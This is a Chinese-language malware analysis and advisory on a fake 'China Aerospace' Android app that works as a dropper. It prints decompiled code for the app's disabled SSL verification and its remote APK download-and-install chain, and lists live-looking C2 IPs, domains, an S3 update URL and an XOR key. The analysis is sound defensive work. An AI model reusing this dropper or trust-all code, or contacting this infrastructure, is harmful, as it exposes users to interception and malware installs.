乐于分享
好东西不私藏

紧急预警|假冒“中国航天”APP实为恶意投递壳,完整攻击链拆解

紧急预警|假冒“中国航天”APP实为恶意投递壳,完整攻击链拆解

一个仅 376KB 的 WebView 壳应用,通过 DoH TXT 隐蔽寻址、全局禁用 SSL 校验、远程 APK 投递链,伪装成"中国航天"政企品牌实施黑产投放。本文完整还原其多级域名探测、自更新投递链与网络 IOC。

分析日期:2026-06-26


0. 结论速览

zght.apk 是一个伪装成"中国航天"政企品牌的恶意 WebView 壳应用(dropper / 投递器)

🛑 核心判定本 APK 仅是一个“投递壳”,真实的危害在于远程下发的更新包。

🔗 运行机制无实质功能:本身无任何航天业务功能。动态拉取:仅承载一个 WebView,通过多级域名热备动态拉取前端服务器地址。

💡 二阶段 Payload 来源由 AWS S3 上的 latest-version-info.json 动态下发。

关键特征一览:

  • 本身无任何航天业务功能,仅承载一个 WebView;

  • 通过 DoH TXT 隐蔽寻址 + 多级域名热备 动态拉取前端服务器地址;

  • 全局 禁用 SSL 证书校验(trust-all),对中间人友好;

  • 具备以"版本更新"为名的远程 APK 下载 + 拉起安装能力(REQUEST_INSTALL_PACKAGES);

  • 二阶段 payload 不在包内,而由 AWS S3 上的 latest-version-info.json 动态下发——本 APK 仅是投递壳,真实危害在远程下发的更新包

判定:恶意样本(黑产投递壳),非中国航天官方应用。

1. 样本基础信息

文件名

zght.apk

文件大小

376 KB (384,160 bytes)

MD5

5d83ab37757f4caf61918c3ee36449ae

包名

com.spacechina.a831a032a

应用名
中国航天
加固特征
未加固

2. 签名证书

Issuer / Subject: C=CN, ST=Beijing, L=Beijing, O=AI Smart Robot Association, OU=Mobile, CN=AI Smart Robot AssociationSerial0x424fddfa2f86a19 (298642612267018777)Validity2026-05-12 ~ 2053-09-27 Public Key: RSA 2048

签名主体自称"AI Smart Robot Association(北京)",与"中国航天"无任何关联 ,且证书起始时间 2026-05-12 晚于样本落盘常见时间,典型的伪造身份。包名 `com.spacechina.a831a032a` 中 `a831a032a` 为随机哈希后缀,用于规避应用商店/检测系统对包名一致性的核查。

3. AndroidManifest 关键点

权限:

  • INTERNETACCESS_NETWORK_STATEACCESS_WIFI_STATE

  • READ/WRITE_EXTERNAL_STORAGE(受限 maxSdkVersion)

  • REQUEST_INSTALL_PACKAGES —— 可安装其他 APK,最危险的能力

Application 属性:

  • android:usesCleartextTraffic="true"(允许明文 HTTP)

  • android:allowBackup="false"extractNativeLibs="true"

组件:

  • MainActivity(exported,启动入口)

  • FileProvider,authority com.spacechina.a831a032a.fileprovider(配合 file_paths 对外暴露下载的 APK)

  • CountlyPushActivity(推送,Countly SDK)

  • InitializationProvider(androidx.startup)

自定义权限:

  • com.spacechina.a831a032a.CountlyPush.BROADCAST_PERMISSION(signature 级)

  • com.spacechina.a831a032a.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION

⚠️⚠️⚠️ 风险提示⚠️⚠️⚠️

REQUEST_INSTALL_PACKAGES

    最危险的能力——可下载并拉起安装任意远程 APK,是 dropper 投递链的核心权限

usesCleartextTraffic=true

    允许明文 HTTP 传输,配合 SSL 信任禁用,所有网络流量均可被中间人劫持。在FileProvider暴露的前提下,配合 file_paths 对外暴露下载的 APK 文件,使 PackageInstaller 可读取安装包。

4. 代码结构

    应用代码集中在 com.spacechina.app.MainActivity 与混淆包 o.*

📦 混淆包功能映射

🎯 o.a | 多用途分发器

通过 switch case 0~5,负责对话框弹出、更新检测、UI 线程投递。

🛡️ o.d | trust-all TrustManager

X509TrustManager 空实现,checkServerTrusted 方法体为空。

🌐 o.e | 全放行 HostnameVerifier

verify 一律 return true,不校验主机名。

📲 o.f | 安装触发器

DownloadManager 完成广播 → FileProvider + VIEW → 系统 PackageInstaller。

🛠️ o.t | 网络工具集

DoH 查询 / API 拉取 / 域名探测 / SSL 容错 / XOR 解码。

📋 o.m | 更新信息模型

包含字段:{version, version_name, build_time, download_url}。

5. 核心行为分析

5.1 启动与多级地址探测

MainActivity.onCreate 启动后,按如下优先级解析"前端页面服务器地址",任一级成功即停止:

第一级 — DoH TXT 查询o.n):

  • 向 https://dns.alidns.com/resolve?name=cai.aliyundnstxtrecords.com&type=TXT 查询 TXT 记录;

  • 返回内容去掉首尾引号后 Base64 解码,再用 XOR 密钥 aa123123 还原(o.t.b);

  • 按 | 分隔成多个 URL(o.t.c)。

典型"DNS TXT 做 C2 寻址"的隐蔽回传手法。

第二级 — DoH 失败 → API 接口拉取o.j case 0 → o.t.d):

  • 对 initial_domains 列表逐一 POST,返回 JSON 数组作为可用域名。

第三级 — 仍失败 → 第二轮直连探测MainActivity.d → o.t.e):

  • 对 default_domains 逐一 HEAD 请求,判 2xx / 401 / 404 为可达。

第四级 — 全部失败 → fallbackMainActivity.e):

  • 使用 default_fallback_url

成功域名被加入 WebView 白名单 qMainActivity.a 校验 host):白名单内地址在 WebView 内打开,其余跳外部浏览器——黑产"主站防劫持/防安全软件抓取"的常规设计。

5.2 SSL 校验完全禁用(高危)

对所有出站 HTTPS 连接一律信任,中间人可任意替换内容 

o.d 的 X509TrustManager 空实现 + o.e 的 HostnameVerifier 全放行,被装入所有 SSLContext。

该操作可使DoH、API、域名探测、WebView 资源、AWS S3 更新源——全部不校验证书

具体实现:

  • o.dX509TrustManager 空实现(checkServerTrusted 方法体为空,getAcceptedIssuers 返回空数组);

  • o.eHostnameVerifierverify 一律 return true

  • 两者在 o.t.f(网络工具)与 MainActivity.f(更新检测)中装入 SSLContext

后果:

  • 中间人 / 运营商可任意替换页面内容;

  • 自签 IP 站点(https://118.178.174.79:32939 等)可被直接加载而不报警;

  • 即便官方 S3 证书有效也禁用校验,dropper 自身可被第三方劫持替换更新包。

5.3 WebView 配置

setJavaScriptEnabled(truesetDomStorageEnabled(truesetMixedContentMode(2// 允许 HTTPS 页面加载 HTTP 资源 setJavaScriptCanOpenWindowsAutomatically(truesetSupportMultipleWindows(truesetCacheMode(-1LOAD_DEFAULT clearCache(true)// 一次性清理历史缓存(清痕) 

WebViewClient o.g 在 onPageFinished / onPageCommitVisible 页面加载成功时触发 MainActivity.i(进入更新检测,见 5.4)。

5.4 自更新 / 投递链(高危,已完整还原)

o.a 是一个多用途 switch 分发器(构造函数 a(obj, obj2, caseId),由 caseId 决定行为):

case
触发方
作用
0
UI 线程投递
弹"打开失败,用浏览器打开"对话框(正键 b(…,0) → 外部浏览器打开)
1
UI 线程投递
通用 runOnUiThread(Runnable) 包装器
2
case 3 检测到新版后投递
弹"发现新版本"更新对话框
,正键 b(…,1) 触发下载
3
MainActivity.i()
 提交到单线程池
核心:执行更新检测 HTTP 请求
4 / 5
o.o
(域名探测成功)投递
"连接成功,正在跳转…" → 设置白名单 + loadUrl

阶段 A — 触发(MainActivity.i

WebView 页面加载成功后调用:

l();// 取消等待超时 & 关闭旧对话框f70c.setVisibility(8);// 隐藏 loadingif(f79l)return;// 一次性守卫(每进程仅检测一次)f79l =true;ExecutorService es =Executors.newSingleThreadExecutor();es.submit(newa(mainActivity, es,3));// → case 3

关键:更新检测只在"页面成功加载"后才触发,且进程内只跑一次(f79l 守卫),降低无网/被拦时的暴露面。

阶段 B — 检测(case 3,核心)

url =getString(R.string.update_check_url)// = https://amzn-bucket-ns9.s3.ap-east-1.amazonaws.com/cast/releases/latest-version-info.jsonconn =(HttpURLConnection)newURL(url).openConnection();MainActivity.f(conn);// ← 给 S3 的 HTTPS 也装上 trust-all(!! )conn.setRequestMethod("GET");conn.setConnectTimeout(5000);setReadTimeout(5000);conn.setUseCaches(false);conn.setRequestProperty("Accept","application/json");conn.setRequestProperty("User-Agent","SpaceChina-Android/"+ versionName);if(200<= responseCode <300){    body =readAll(conn.getInputStream());    m =MainActivity.g(body);// 解析 JSON → m{version, version_name, build_time, download_url, package_id}if(!=null&& version 非空 && download_url 非空){if(MainActivity.h(this, m.version_name)){// 远端 version_name > 本机 versionNameo(newa(this, m,2));// → 投 case 2 到 UI 线程}}elseLog.w("更新检测返回数据无效");}es.shutdown();

关键细节:

  1. 1.

    对 AWS S3 的连接也被装上 trust-all——同一套"容错"代码无差别套用到所有出站连接;

  2. 2.

    自定义 UA SpaceChina-Android/<versionName>,服务端可据此做版本灰度/区分投放;

  3. 3.

    版本比较用 String.compareTo(非语义化版本):version_name.trim().compareTo(localVersionName.trim()) > 0 即判为有新版。1.9 < 1.10 会字典序误判为无新版——朴素实现;

  4. 4.

    package_id 字段被 g() 读出但未赋给 m 任何字段(被丢弃),疑似服务端预留字段。

阶段 C — 弹窗(case 2)

msg = update_dialog_message   // "检测到新版本 %1$s,当前版本为 %2$s,是否立即下载并安装?".format(version_name ?: version, localVersion)if(build_time 非空) msg +="\n构建时间:"+ build_time AlertDialog.setTitle(update_dialog_title)// "发现新版本".setMessage(msg).setNegativeButton(cancel,null).setPositiveButton(update_dialog_confirm,newb(mainActivity, m,1))// "立即更新" → o.b case 1.show();

isFinishing()/isDestroyed() 守卫,Activity 销毁时不弹。

阶段 D — 下载(o.b case 1,正键回调)

uri =Uri.parse(m.download_url);filename ="spacechina-update-"+(version ?:"latest").replaceAll("[^a-zA-Z0-9._-]","_")+".apk";req =newDownloadManager.Request(uri);req.setTitle(update_download_title);// "正在下载新版本"req.setDescription(update_download_description.format(version));req.setNotificationVisibility(1);// 下载通知可见req.setMimeType("application/vnd.android.package-archive");req.setAllowedOverMetered(true);setAllowedOverRoaming(true);req.setDestinationInExternalFilesDir(mainActivity, DIRECTORY_DOWNLOADS, filename);mainActivity.f78k = mainActivity.f72e.enqueue(req);// 记录 download idToast("已开始下载更新");

阶段 E — 安装(o.f,DOWNLOAD_COMPLETE 广播)

if(download_id == f78k){    cursor =DownloadManager.query(filterById(id));if(status ==8/*STATUS_SUCCESSFUL*/){        path =Uri.parse(local_uri).getPath();        file =newFile(path);if(file.exists()){if(SDK <26||canRequestPackageInstalls()){                uri =(SDK >=24)?FileProvider.getUriForFile(ctx, ctx+".fileprovider", file):Uri.fromFile(file);Intent("android.intent.action.VIEW").setDataAndType(uri,"application/vnd.android.package-archive").addFlags(FLAG_NEW_TASK | FLAG_GRANT_READ_URI_PERMISSION);startActivity(intent);// ← 拉起系统 PackageInstaller}else{// Android 8+: 跳"未知来源"授权页Intent("android.settings.MANAGE_UNKNOWN_APP_SOURCES").setData("package:"+ packageName);startActivity(intent);Toast("请先允许安装未知来源应用后重试");}}}}

完整投递时序

5.5 数据上报(Countly)

集成 Countly SDK,服务端与 AppKey 写死在 strings.xml:

  • countly_server_url = https://analyze.countly.vip

  • countly_app_key = 62ceb816aa984e8eccfbe91f5e34128d4321abec

用于设备活跃/装量统计(黑产常用自建 Countly 做渠道数据)。

🥸🥸🥸黑产也要KPI考核了


6. 网络 IOC 汇总

initial_domains(DoH/API 阶段):

  • https://95.40.169.98/ios

  • https://qju2limen3gciofbmwhphdnggu0slfzh.lambda-url.ap-east-1.on.aws/ios(AWS Lambda ap-east-1)

default_domains(第二轮直连探测):

  • https://www.spaceg01.com / spaceg02.com / spaceg03.com / spaceg06.com

  • https://118.178.174.79:32939(阿里云)

  • https://8.159.152.71:32939(阿里云)

  • https://8.148.13.103:32939(阿里云)

  • https://39.105.67.78:32939(阿里云)

  • https://8.155.163.130:32939(阿里云)

default_fallback_url:https://202.61.85.112:32939

DoH TXT 寻址域名:cai.aliyundnstxtrecords.com(XOR 密钥 aa123123

自更新元数据:https://amzn-bucket-ns9.s3.ap-east-1.amazonaws.com/cast/releases/latest-version-info.json(AWS S3 ap-east-1)

统计上报:https://analyze.countly.vip(AppKey 62ceb816aa984e8eccfbe91f5e34128d4321abec

端口统一 32939,域名伪装 spaceg0x.com("space" 对应"航天")。基础设施横跨阿里云 + AWS(ap-east-1),具有跨境分发特征。

7. 风险评估

高危能力矩阵

SSL 信任| 全局禁用采用 trust-all X509TrustManager + HostnameVerifier 全放行,对中间人攻击(MITM)极其友好。

远程安装 | 可投递结合 REQUEST_INSTALL_PACKAGES + DownloadManager + PackageInstaller,具备半静默安装任意远程 APK 的能力。

隐蔽寻址| DoH TXT利用 DNS TXT 记录进行 C2 寻址,并辅以 XOR 编码,具备极强的抗封锁与抗检测能力。

域名热备 | 多级冗余构建了 4 级域名探测链 + fallback 机制,确保恶意基础设施的高可用性。

静默程度与真实 Payload 风险研判

社工驱动半静默投放
该恶意行为并非全自动静默安装,而是依赖“页面加载成功 → 服务端返回更高版本 → 诱导用户点击立即更新”。针对 Android 8+ 系统,仅需诱导用户授权“未知来源”即可。因其伪装成普通 App 更新,普通用户极易顺从。
二阶段 Payload 不在包内本
APK 仅是一个“投递壳”,真实的恶意载荷由 latest-version-info.json 中的 download\_url 动态下发。因此,要获取当前活跃的 Payload,必须进行联网取证以抓取该 JSON 文件,仅靠本地静态分析是不够的。️
当前未见敏感权限(潜在威胁)目前样本中未见通讯录、短信、定位或无障碍等敏感权限。但攻击者可通过上述的“自更新”机制,在后续下发包含敏感权限的二阶段 

8. 处置建议

强化意识与应急响应

  1. 正规渠道下载与权限管控:严格通过手机自带应用商店或官方可信渠道下载应用,坚决抵制不明链接与网页弹窗。安装时遵循“最小化授权”原则,拒绝非必要的敏感权限请求(如普通工具类APP索要通讯录、定位等)。
  2. 异常状态紧急处置:若手机出现异常发热、卡顿、频繁弹窗或指示灯莫名亮起(疑似摄像头/麦克风被后台调用),应立即采取应急措施:首先物理遮挡摄像头,随后拔出SIM卡以切断网络传输通道,最后关机并寻求专业机构协助处理。